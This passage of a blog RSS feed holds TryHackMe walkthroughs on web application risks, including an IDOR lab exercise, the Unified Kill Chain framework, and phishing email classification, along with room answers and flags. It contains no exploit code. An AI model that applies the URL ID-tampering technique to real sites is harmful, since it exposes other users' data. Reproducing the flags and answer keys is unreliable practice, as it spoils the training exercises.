HTTPS.</li><li>Relying on a weak cryptographic algorithm. One old cryptographic algorithm is to shift each letter by one. For instance, “TRY HACK ME” becomes “USZ IBDL NF.” This cryptographic algorithm is trivial to break.</li><li>Using default or weak keys for cryptographic functions. It won’t be challenging to break the encryption that used 1234 as the secret key.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*43AEhEG2QxWRvAAS.png" /></figure><p>Don’t worry if these techniques look challenging or sophisticated at first. TryHackMe has dedicated in-depth rooms to help you understand and experiment with the various attacks against web applications.</p><p><strong>Answer the questions below</strong></p><p>2.1 You discovered that the login page allows an unlimited number of login attempts without trying to slow down the user or lock the account. What is the category of this security risk?</p><p>Answer: <strong>Identification and Authentication Failure</strong></p><p>2.2 You noticed that the username and password are sent in cleartext without encryption. What is the category of this security risk?</p><p>Answer: <strong>Cryptographic Failures</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7z1kThZ5hjOz_41Lgj6lLw.png" /></figure><h3>Task 3 Practical Example of Web Application Security</h3><p>This task will investigate a vulnerable website that uses Insecure Direct Object References (IDOR). IDOR falls under the category of Broken Access Control. Broken access control means that an attacker can access information or perform actions not intended for them. Consider the case where a web server receives user-supplied input to retrieve objects (files, data, documents) and that they are numbered sequentially. Let’s say that the user has permission to access a photo named IMG_1003.JPG. We might guess that there are also IMG_1002.JPG and IMG_1004.JPG; however, the web application should not provide us with that image even if we figured out its name. In general, an IDOR vulnerability can occur if too much trust has been placed on that input data. In other words, the web application does not validate whether the user has permission to access the requested object.</p><p>Just providing the correct URL for a user or a product does not necessarily mean the user should be able to access that URL. For instance, consider the product page https://store.tryhackme.thm/products/product?id=52. We can expect this URL to provide details about product number 52. In the database, items would be assigned numbers sequentially. The attacker would try other numbers such as 51 or 53 instead of 52; this might reveal other retired or unreleased products if the web application is vulnerable.</p><p>Let’s consider a more critical example; the URL https://store.tryhackme.thm/customers/user?id=16 would return the user with id=16. Again, we expect the users to have sequential ID numbers. The attacker would try other numbers and possibly access other user accounts. This vulnerability might work with sequential files; for instance, if the attacker sees 007.txt, the attacker might try other numbers such as 001.txt, 006.txt, and 008.txt. Similarly, if you were ID number 16 and ID number 17 was another user, by changing the ID to 17, you could see sensitive data that belongs to another user. Likewise, they can change the ID to 16 and see sensitive data that belongs to you. (Of course, we assume here that the system is vulnerable to IDOR.)</p><p>Click on “View Site,” and let’s see this in action. You will see a page showing an Inventory Management System. If you click on the “Planned Shipments” tab, you will discover that an attacker has managed to mix things up as part of sabotage plans. Notice how they send the wrong tires to each assembly line; for instance, they assign scooter tires and motorcycle tires to bike assembly! If left unfixed, all tires will go to the wrong assembly.</p><p>We will hack the system back and undo the attacker’s steps. On “Your Activity,” you can see the activity of one of the users. We have reason to believe that this website has an IDOR vulnerability.</p><p><strong>Answer the questions below</strong></p><p>3.1 Check the other users to discover which user account was used to make the malicious changes and revert them. After reverting the changes, what is the flag that you have received? (Question Hint On the site on the right, click “Your Activity” and try to enter numbers between 5 and 10 instead of 11 in the user_id=11).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*Wbr_KWzaEgl7unYf.png" /></figure><p>Click on “Your Activity” to see what actions your account has performed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/0*08oLyP-N_Mxmcp4p.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/0*nMQ42QMU-GGk9X0_.png" /></figure><p>Since we know the website has an IDOR vulnerability, we can change the “user_id” in the URL to check other users’ activities. We will change the number in the URL to see who made the changes that messed up the logistics (the shipping orders).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/0*J70Gq4ul-JwtVM8O.png" /></figure><pre>https://inventory-management.thm/activity?user_id=9</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/0*u9xL2y1HCXLkGqD8.png" /></figure><p>By playing with the “user_id” in the URL, we discover that <strong>Alya (user_id=9) </strong>was the one who made the unwanted changes to the shipments.</p><p>Click the “Revert” buttons next to each change Alya made</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/0*rRg-H33Iz0wXrVVT.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/0*_QFDpv0jBKppg_PO.png" /></figure><p>Answer: <strong>THM{IDOR_EXPLORED}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4-94MoC3II4v6ZIazZZlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mX91bTa3xyaXk2ZoQaOC2A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d4a2c2ca666" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unified Kill Chain — TryHackMe Walkthrough]]></title>
            <link>https://cyberleelawat.medium.com/unified-kill-chain-tryhackme-walkthrough-59574e35229d?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/59574e35229d</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cyberleelawat]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Wed, 21 Jan 2026 16:55:52 GMT</pubDate>
            <atom:updated>2026-05-28T09:43:19.174Z</atom:updated>
            <content:encoded><![CDATA[<h3>Unified Kill Chain — TryHackMe Walkthrough</h3><p>The Unified Kill Chain is a framework which establishes the phases of an attack, and a means of identifying and mitigating risk to IT assets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xpq2ryLsber1WBuQcGiQ4Q.png" /></figure><p><strong>Origination:-</strong> Cyber Leelawat</p><p><strong>Website :-</strong> <a href="http://www.cyberleelawat.in/">www.cyberleelawat.in</a></p><h3>Task 1 Introduction</h3><p>Understanding the behaviours, objectives and methodologies of a cyber threat is a vital step to establishing a strong cybersecurity defence (known as a cybersecurity posture).</p><p>In this room, you will be introduced to the UKC (Unified Kill Chain) framework that is used to help understand how cyber attacks occur.</p><p><strong>Learning Objectives:</strong></p><ul><li>Understanding why frameworks such as the UKC are important and helpful in establishing a good cybersecurity posture</li><li>Using the UKC to understand an attacker’s motivation, methodologies and tactics</li><li>Understanding the various phases of the UKC</li><li>Discover that the UKC is a framework that is used to complement other frameworks such as MITRE.</li></ul><p>Answer the questions below</p><p><strong>Let’s proceed with the room!</strong></p><h3>Task 2 What is a “Kill Chain”</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*B1HDYdD540Vzkjn9.png" /></figure><p>Originating from the military, a “Kill Chain” is a term used to explain the various stages of an attack. In the realm of cybersecurity, a “Kill Chain” is used to describe the methodology/path attackers such as hackers or APTs use to approach and intrude a target.</p><p>For example, an attacker scanning, exploiting a web vulnerability, and escalating privileges will be a “Kill Chain”. We will come to explain these stages in much further detail later in this room.</p><p>The objective is to understand an attacker’s “Kill Chain” so that defensive measures can be put in place to either pre-emptively protect a system or disrupt an attacker’s attempt.</p><p>Answer the questions below</p><p>2.1 Where does the term “Kill Chain” originate from?</p><p>For this answer, you must fill in the blank!: The <strong>********</strong></p><p>Answer: <strong>military</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0Efu-UCtmTPFNvayeK_NQ.png" /></figure><h3>Task 3 What is “Threat Modelling”</h3><p>Threat modelling, in a cybersecurity context, is a series of steps to ultimately improve the security of a system. Threat modelling is about identifying risk and essentially boils down to:</p><ol><li>Identifying what systems and applications need to be secured and what function they serve in the environment. For example, is the system critical to normal operations, and is a system holding sensitive information like payment info or addresses?</li><li>Assessing what vulnerabilities and weaknesses these systems and applications may have and how they could be potentially exploited</li><li>Creating a plan of action to secure these systems and applications from the vulnerabilities highlighted</li><li>Putting in policies to prevent these vulnerabilities from occurring again where possible (for example, implementing a software development life cycle (SDLC) for an application or training employees on phishing awareness).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/0*02cLcxxuSQ7xuSDT.png" /></figure><p>Threat modelling is an important procedure in reducing the risk within a system or application, as it creates a high-level overview of an organisation’s IT assets (<em>an asset in IT is a piece of software or hardware</em>) and the procedures to resolve vulnerabilities.</p><p>The UKC can encourage threat modelling as the UKC framework helps identify potential attack surfaces and how these systems may be exploited.</p><p>STRIDE, DREAD and CVSS (to name a few) are all frameworks specifically used in threat modelling. If you are interested to learn more, check out the “<a href="https://tryhackme.com/room/principlesofsecurity">Principles of Security</a>” room on TryHackMe.</p><p>Answer the questions below</p><p>3.1 What is the technical term for a piece of software or hardware in IT (Information Technology?) (Question Hint This is defined in the task!)</p><p>Answer: <strong>asset</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NF9gu80cbFiC1Sq6EEuGWA.png" /></figure><h3>Task 4 Introducing the Unified Kill Chain</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n_8WXadaWVGAC-73.png" /></figure><p>To continue from the previous task, Paul Pols’ <a href="https://www.unifiedkillchain.com/assets/The-Unified-Kill-Chain.pdf">Unified Kill Chain,</a> published in 2017, aims to complement (<strong>not compete</strong> with) other cybersecurity kill chain frameworks, such as Lockheed Martin’s and MITRE’s ATT&amp;CK.</p><p>The UKC states that there are 18 phases to an attack: Everything from reconnaissance to data exfiltration and understanding an attacker’s motive. These phases have been grouped together in this room into a few areas of focus for brevity, which will be detailed in the remaining tasks.</p><p>Some large benefits of the UKC over traditional cybersecurity kill chain frameworks include the fact that it is modern and extremely detailed (<strong>reminder</strong>: it has 18 phases officially, whereas other frameworks may have a small handful)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zmn0ai5eaqr1wLc0.png" /></figure><p><strong>Benefits of the Unified Kill Chain (UKC) FrameworkHow do Other Frameworks Compare?</strong>Modern (released in 2017, updated in 2022).<br>Some frameworks, such as MITRE’s were released in 2013, when the cybersecurity landscape was very different.<br>The UKC is extremely detailed (18 phases).<br>Other frameworks often have a small handful of phases.<br>The UKC covers an entire attack — from reconnaissance, exploitation, post-exploitation and includes identifying an attacker’s motivation.<br>Other frameworks cover a limited amount of phases.<br>The UKC highlights a much more realistic attack scenario. Various stages will often re-occur. For example, after exploiting a machine, an attacker will begin reconnaissance to pivot another system.<br>Other frameworks do not account for the fact that an attacker will go back and forth between the various phases during an attack.</p><p>Answer the questions below</p><p>4.1 In what year was the Unified Kill Chain framework released?</p><p>Answer: <strong>2017</strong></p><p>4.2 According to the Unified Kill Chain, how many phases are there to an attack?</p><p>Answer: <strong>18</strong></p><p>4.3 What is the name of the attack phase where an attacker employs techniques to evade detection?</p><p>Answer: <strong>Defense Evasion</strong></p><p>4.4 What is the name of the attack phase where an attacker employs techniques to remove data from a network?</p><p>Answer: <strong>Exfiltration</strong></p><p>4.5 What is the name of the attack phase where an attacker achieves their objectives? (Question Hint This is the end goal. For example, the attacker has managed to steal and sell data from an organisation).</p><p>Answer: <strong>Objectives</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zicrpu-ufpIHlk01r8hWBw.png" /></figure><h3>Task 5 Phase: In (Initial Foothold)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/0*983wT3veUlwo_3GM.png" /></figure><p>The main focus of this series of phases is for an attacker to gain access to a system or networked environment.</p><p>An attacker will employ numerous tactics to investigate the system for potential vulnerabilities that can be exploited to gain a foothold in the system. For example, a common tactic is the use of reconnaissance against a system to discover potential attack vectors (such as applications and services).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S-56Q69AKLhN5gpw.png" /></figure><p>This series of phases also accommodates for an attacker creating a form of persistence (such as files or a process that allows the attacker to connect to the machine at any time). Finally, the UKC accounts for the fact that attackers will often use a combination of the tactics listed above.</p><p>We will explore the different phases of this section of the UKC in the headings below:</p><p><strong>Reconnaissance (</strong><a href="https://attack.mitre.org/tactics/TA0043/"><strong>MITRE Tactic TA0043</strong></a><strong>)</strong></p><p>This phase of the UKC describes techniques that an adversary employs to gather information relating to their target. This can be achieved through means of passive and active reconnaissance. The information gathered during this phase is used all throughout the later stages of the UKC (such as the initial foothold).</p><p>Information gathered from this phase can include:</p><ul><li>Discovering what systems and services are running on the target, this is beneficial information in the weaponisation and exploitation phases of this section.</li><li>Finding contact lists or lists of employees that can be impersonated or used in either a social engineering or phishing attack.</li><li>Looking for potential credentials that may be of use in later stages, such as pivoting or initial access.</li><li>Understanding the network topology and other networked systems can be used to pivot too.</li></ul><p><strong>Weaponization (</strong><a href="https://attack.mitre.org/tactics/TA0001/"><strong>MITRE Tactic TA0001</strong></a><strong>)</strong></p><p>This phase of the UKC describes the adversary setting up the necessary infrastructure to perform the attack. For example, this could be setting up a command and control server, or a system capable of catching reverse shells and delivering payloads to the system.</p><p><strong>Social Engineering (</strong><a href="https://attack.mitre.org/tactics/TA0001/"><strong>MITRE Tactic TA0001</strong></a><strong>)</strong></p><p>This phase of the UKC describes techniques that an adversary can employ to manipulate employees to perform actions that will aid in the adversaries attack. For example, a social engineering attack could include:</p><ul><li>Getting a user to open a malicious attachment.</li><li>Impersonating a web page and having the user enter their credentials.</li><li>Calling or visiting the target and impersonating a user (for example, requesting a password reset) or being able to gain access to areas of a site that the attacker would not previously be capable of (for example, impersonating a utility engineer).</li></ul><p><strong>Exploitation (</strong><a href="https://attack.mitre.org/tactics/TA0002/"><strong>MITRE Tactic TA0002</strong></a><strong>)</strong></p><p>This phase of the UKC describes how an attacker takes advantage of weaknesses or vulnerabilities present in a system. The UKC defines “Exploitation” as abuse of vulnerabilities to perform code execution. For example:</p><ul><li>Uploading and executing a reverse shell to a web application.</li><li>Interfering with an automated script on the system to execute code.</li><li>Abusing a web application vulnerability to execute code on the system it is running on.</li></ul><p><strong>Persistence (</strong><a href="https://attack.mitre.org/tactics/TA0003/"><strong>MITRE Tactic TA0003</strong></a><strong>)</strong></p><p>This phase of the UKC is rather short and simple. Specifically, this phase of the UKC describes the techniques an adversary uses to maintain access to a system they have gained an initial foothold on. For example:</p><ul><li>Creating a service on the target system that will allow the attacker to regain access.</li><li>Adding the target system to a Command &amp; Control server where commands can be executed remotely at any time.</li><li>Leaving other forms of backdoors that execute when a certain action occurs on the system (i.e. a reverse shell will execute when a system administrator logs in).</li></ul><p><strong>Defence Evasion (</strong><a href="https://attack.mitre.org/tactics/TA0005/"><strong>MITRE Tactic TA0005</strong></a><strong>)</strong></p><p>The “Defence Evasion” section of the UKC is one of the more valuable phases of the UKC. This phase specifically is used to understand the techniques an adversary uses to evade defensive measures put in place in the system or network. For example, this could be:</p><ul><li>Web application firewalls.</li><li>Network firewalls.</li><li>Anti-virus systems on the target machine.</li><li>Intrusion detection systems.</li></ul><p>This phase is valuable when analysing an attack as it helps form a response and better yet — gives the defensive team information on how they can improve their defence systems in the future.</p><p><strong>Command &amp; Control (</strong><a href="https://attack.mitre.org/tactics/TA0011/"><strong>MITRE Tactic TA0011</strong></a><strong>)</strong></p><p>The “Command &amp; Control” phase of the UKC combines the efforts an adversary made during the “Weaponization” stage of the UKC to establish communications between the adversary and target system.</p><p>An adversary can establish command and control of a target system to achieve its action on objectives. For example, the adversary can:</p><ul><li>Execute commands.</li><li>Steal data, credentials and other information.</li><li>Use the controlled server to pivot to other systems on the network.</li></ul><p><strong>Pivoting (</strong><a href="https://attack.mitre.org/tactics/TA0008/"><strong>MITRE Tactic TA0008</strong></a><strong>)</strong></p><p>“Pivoting” is the technique an adversary uses to reach other systems within a network that are not otherwise accessible (for example, they are not exposed to the internet). There are often many systems in a network that are not directly reachable and often contain valuable data or have weaker security.</p><p>For example, an adversary can gain access to a web server that is publically accessible to attack other systems that are within the same network (but are not accessible via the internet).</p><p>Answer the questions below</p><p>5.1 What is an example of a tactic to gain a foothold using emails?</p><p>Answer: <strong>phishing</strong></p><p>5.2 Impersonating an employee to request a password reset is a form of what?</p><p>Answer: <strong>Social Engineering</strong></p><p>5.3 An adversary setting up the Command &amp; Control server infrastructure is what phase of the Unified Kill Chain?</p><p>Answer: <strong>Weaponization</strong></p><p>5.4 Exploiting a vulnerability present on a system is what phase of the Unified Kill Chain?</p><p>Answer: <strong>Exploitation</strong></p><p>5.5 Moving from one system to another is an example of?</p><p>Answer: <strong>Pivoting</strong></p><p>5.6 Leaving behind a malicious service that allows the adversary to log back into the target is what?</p><p>Answer: <strong>Persistence</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IiaumWEOqVSznyE9sEViIg.png" /></figure><h3>Task 6 Phase: Through (Network Propagation)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SX_XDZJ7gMCX91ux.png" /></figure><p>This phase follows a successful foothold being established on the target network. An attacker would seek to gain additional access and privileges to systems and data to fulfil their goals. The attacker would set up a base on one of the systems to act as their pivot point and use it to gather information about the internal network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OQatbiGbXDrvc1Wi.png" /></figure><p><strong>Pivoting</strong> (<a href="https://attack.mitre.org/tactics/TA0008/">MITRE Tactic TA0008</a>)</p><p>Once the attacker has access to the system, they would use it as their staging site and a tunnel between their command operations and the victim’s network. The system would also be used as the distribution point for all malware and backdoors at later stages.</p><h3>Discovery (<a href="https://attack.mitre.org/tactics/TA0007/">MITRE Tactic TA0007</a>)</h3><p>The adversary would uncover information about the system and the network it is connected to. Within this stage, the knowledge base would be built from the active user accounts, the permissions granted, applications and software in use, web browser activity, files, directories and network shares, and system configurations.</p><h3>Privilege Escalation (<a href="https://attack.mitre.org/tactics/TA0004/">MITRE Tactic TA0004</a>)</h3><p>Following their knowledge-gathering, the adversary would try to gain more prominent permissions within the pivot system. They would leverage the information on the accounts present with vulnerabilities and misconfigurations found to elevate their access to one of the following superior levels:</p><ul><li><em>SYSTEM/ ROOT.</em></li><li><em>Local Administrator.</em></li><li><em>A user account with Admin-like access.</em></li><li><em>A user account with specific access or functions.</em></li></ul><h3>Execution (<a href="https://attack.mitre.org/tactics/TA0002/">MITRE Tactic TA0002</a>)</h3><p>This is where they deploy their malicious code using the pivot system as their host. Remote trojans, C2 scripts, malicious links and scheduled tasks are deployed and created to facilitate a recurring presence on the system and uphold their persistence.</p><h3>Credential Access (<a href="https://attack.mitre.org/tactics/TA0006/">MITRE Tactic TA0006</a>)</h3><p>Working hand in hand with the Privilege Escalation stage, the adversary would attempt to steal account names and passwords through various methods, including keylogging and credential dumping. This makes them harder to detect during their attack as they would be using legitimate credentials.</p><p><strong>Lateral Movement</strong> (<a href="https://attack.mitre.org/tactics/TA0008/">MITRE Tactic TA0008</a>)</p><p>With the credentials and elevated privileges, the adversary would seek to move through the network and jump onto other targeted systems to achieve their primary objective. The stealthier the technique used, the better.</p><p>Answer the questions below</p><p>6.1 As a SOC analyst, you pick up numerous alerts pointing to failed login attempts from an administrator account. What stage of the kill chain would an attacker be seeking to achieve?</p><p>Answer: <strong>Privilege Escalation</strong></p><p>6.2 Mimikatz, a known attack tool, was detected running on the IT Manager’s computer. What is the mission of the tool?</p><p>Answer: <strong>Credential Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFessbW7Cl_hIBinqC0wDA.png" /></figure><h3>Task 7 Phase: Out (Action on Objectives)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/0*w3J7bLSgWOTmzeMn.png" /></figure><p>This phase wraps up the journey of an adversary’s attack on an environment, where they have critical asset access and can fulfil their attack goals. These goals are usually geared toward compromising the confidentiality, integrity and availability (CIA) triad.</p><p>The tactics to be deployed by an attacker would include:</p><h3>Collection <a href="https://attack.mitre.org/tactics/TA0009/">MITRE Tactic (TA0009)</a></h3><p>After all the hunting for access and assets, the adversary will be seeking to gather all the valuable data of interest. This, in turn, compromises the confidentiality of the data and would lead to the next attack stage — Exfiltration. The main target sources include drives, browsers, audio, video and email.</p><h3>Exfiltration (<a href="https://attack.mitre.org/tactics/TA0010/">MITRE Tactic TA0010</a>)</h3><p>To elevate their compromise, the adversary would seek to steal data, which would be packaged using encryption measures and compression to avoid any detection. The C2 channel and tunnel deployed in the earlier phases will come in handy during this process.</p><h3>Impact (<a href="https://attack.mitre.org/tactics/TA0040/">MITRE Tactic TA0040</a>)</h3><p>If the adversary seeks to compromise the integrity and availability of the data assets, they would manipulate, interrupt or destroy these assets. The goal would be to disrupt business and operational processes and may involve removing account access, disk wipes, and data encryption such as ransomware, defacement and denial of service (DoS) attacks.</p><h3>Objectives</h3><p>With all the power and access to the systems and network, the adversary would seek to achieve their strategic goal for the attack.</p><p>For example, if the attack was financially motivated, they may seek to encrypt files and systems with ransomware and ask for payment to release the data. In other instances, the attacker may seek to damage the reputation of the business, and they would release private and confidential information to the public.</p><p>Answer the questions below</p><p>7.1 While monitoring the network as a SOC analyst, you realise that there is a spike in the network activity, and all the traffic is outbound to an unknown IP address. What stage could describe this activity?</p><p>Answer: <strong>Exfiltration</strong></p><p>7.2 Personally identifiable information (PII) has been released to the public by an adversary, and your organisation is facing scrutiny for the breach. What part of the CIA triad would be affected by this action?</p><p>Answer: <strong>Confidentiality</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q_u-EnclsCnQvDOQgrpqAg.png" /></figure><h3>Task 8 Practical</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/0*3O4LdZGkOCrbEsdS.png" /></figure><p><strong>Deploy </strong>the static site attached to the task. You will need to match the various actions of an attacker to the correct phase of the Unified Kill Chain framework to reveal the flag.</p><p>Answer the questions below</p><p>8.1 Match the scenario prompt to the correct phase of the Unified Kill Chain to reveal the flag at the end. What is the flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*cIj53WCUid0yNCJV.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*15M9dYryHVpWbPvp.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*sq86yYna89Mu5ubD.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*C4gHEHRCeggeZgSN.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*GLEbD_vni2TPWOfd.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*UAx62Ogl1-fEEQ9P.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*h7JcOoTlUbliCiLK.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*R7f1nUf43PBxVwfC.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*S1mqW1uB-vjamFUD.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*6EZQg6dnrN7IFUdn.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/0*xRkIfTc01vJEoR2S.png" /></figure><p>Answer:<strong> THM{UKC_SCENARIO}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*De2Hz7foK5wghqloJ3P1PA.png" /></figure><h3>Task 9 Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tViXkRjergB56JYy.png" /></figure><p>Congrats on making it through the Unified Kill Chain room. Hopefully, you understand the importance that frameworks such as the UKC play in identifying risk and potential mitigating attacks by reconstructing the various steps an attacker took.</p><p>As mentioned in this room, the UKC is a modern extension of other frameworks, such as Lockheed Martin’s “Cyber Kill Chain” framework. If you are interested in learning more about frameworks in cybersecurity (highly recommended!), you should check out these rooms on TryHackMe:</p><ul><li><a href="https://tryhackme.com/room/principlesofsecurity">Principles of Security</a></li><li><a href="https://tryhackme.com/room/pentestingfundamentals">Pentesting Fundamentals</a></li><li><a href="https://tryhackme.com/room/cyberkillchainzmt">Cyber Kill Chain</a></li></ul><p>Answer the questions below</p><p><strong>Complete this task to finish the room!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZoT2JCj_cl747G5ldRYvHw.png" /></figure><blockquote>Thank You</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*AR7VgezV-ouxWnPY8gBiSA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=59574e35229d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe :- The Phishing Pond Walkthrough]]></title>
            <link>https://cyberleelawat.medium.com/tryhackme-the-phishing-pond-walkthrough-abe8ac5e56e3?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/abe8ac5e56e3</guid>
            <category><![CDATA[cyberleelawat]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Tue, 30 Dec 2025 11:21:19 GMT</pubDate>
            <atom:updated>2026-05-28T09:43:58.948Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe :- The Phishing Pond Walkthrough</h3><h3>Catch the phish before the phish catches you.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cnEjXeO_crRsZ_oNtOFxDw.png" /><figcaption>The Phishing Pond</figcaption></figure><p><strong>Origination:-</strong> Cyber Leelawat</p><p><strong>Website :-</strong> <a href="http://www.cyberleelawat.in/">www.cyberleelawat.in</a></p><h3>Room Introduction</h3><p><a href="https://tryhackme.com/room/phishingpond">The Phishing Pond</a> is designed to build practical phishing-detection skills through a set of real-world email examples. The room teaches how attackers craft deceptive messages and which red flags to look for when reviewing suspicious emails. It focuses on the most common phishing tactics, including urgency in subject lines, look-alike domains, display-name impersonation, malicious attachments, compromised sender accounts, and offers that attempt to gather personal or financial information.</p><p>The goal of the lab is simple. Review each email, decide whether it is legitimate or a phishing attempt, and identify the indicators that reveal the attacker’s intent. At the end of the challenge, the final flag is provided once all emails are correctly classified.</p><h3>Starting the Phishing Analysis</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*jhb2yUhq9ukqJatq.png" /></figure><p>I reached the main interface of the room and began working through the emails. Let’s dive into Level 1.</p><h3>Level 1</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/0*XDrmCSy8HRScEDsd.png" /></figure><blockquote><strong><em>This is a phishing email.</em></strong><em><br>Reason: </em><strong><em>It impersonates an executive and requests an urgent wire transfer.</em></strong></blockquote><h3>Level 2</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*sBOTSTKVgrrMI6Qc.png" /></figure><blockquote><strong><em>This is not a phishing email.</em></strong></blockquote><h3>Level 3</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/0*KuQPuPcRYt-DolX4.png" /></figure><blockquote><strong><em>This is not a phishing email.</em></strong></blockquote><h3>Level 4</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/0*4Q-zgy4AcZltEqz6.png" /></figure><blockquote><strong><em>This is not a phishing email.</em></strong></blockquote><h3>Level 5</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/0*g1WHk2R7ZTZ6ZhdD.png" /></figure><blockquote><strong><em>This is a phishing email.</em></strong><em><br>Reason: </em><strong><em>Contains an attachment and asks to enable macros.</em></strong></blockquote><h3>Level 6</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/0*GpLjr-xn46K3FL95.png" /></figure><blockquote><strong><em>This is a phishing email.</em></strong><em><br>Reason: </em><strong><em>Contains a suspicious third-party survey link.</em></strong></blockquote><h3>Level 7</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/0*0sGLBNA4wkpYGU0I.png" /></figure><blockquote><strong><em>This is a phishing email.</em></strong><em><br>Reason: </em><strong><em>Offers require sensitive personal or banking details.</em></strong></blockquote><h3>Level 8</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/0*pv8fLXLt3jRVSn6T.png" /></figure><blockquote><strong><em>This is a phishing email.</em></strong><em><br>Reason: </em><strong><em>Redirects to a malicious password rest page.</em></strong></blockquote><h3>Level 9</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/0*5Vo5WKuSNnq7Dk13.png" /></figure><blockquote><strong><em>This is a phishing email.</em></strong><em><br>Reason: </em><strong><em>Link uses a deceptive to mimic a payment portal.</em></strong></blockquote><h3>Level 10</h3><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*H1NSHzrkC-Wct8BK.png" /></figure><blockquote><strong><em>This is a phishing email.</em></strong><em><br>Reason: </em><strong><em>Asks to enable macros in an attachment.</em></strong></blockquote><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/0*uzUDKatFBOZJUVfY.png" /></figure><h3>Flag</h3><pre>THM{i_phish_you_not}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gOA655FMVNJ7yoS9KMH6rg.png" 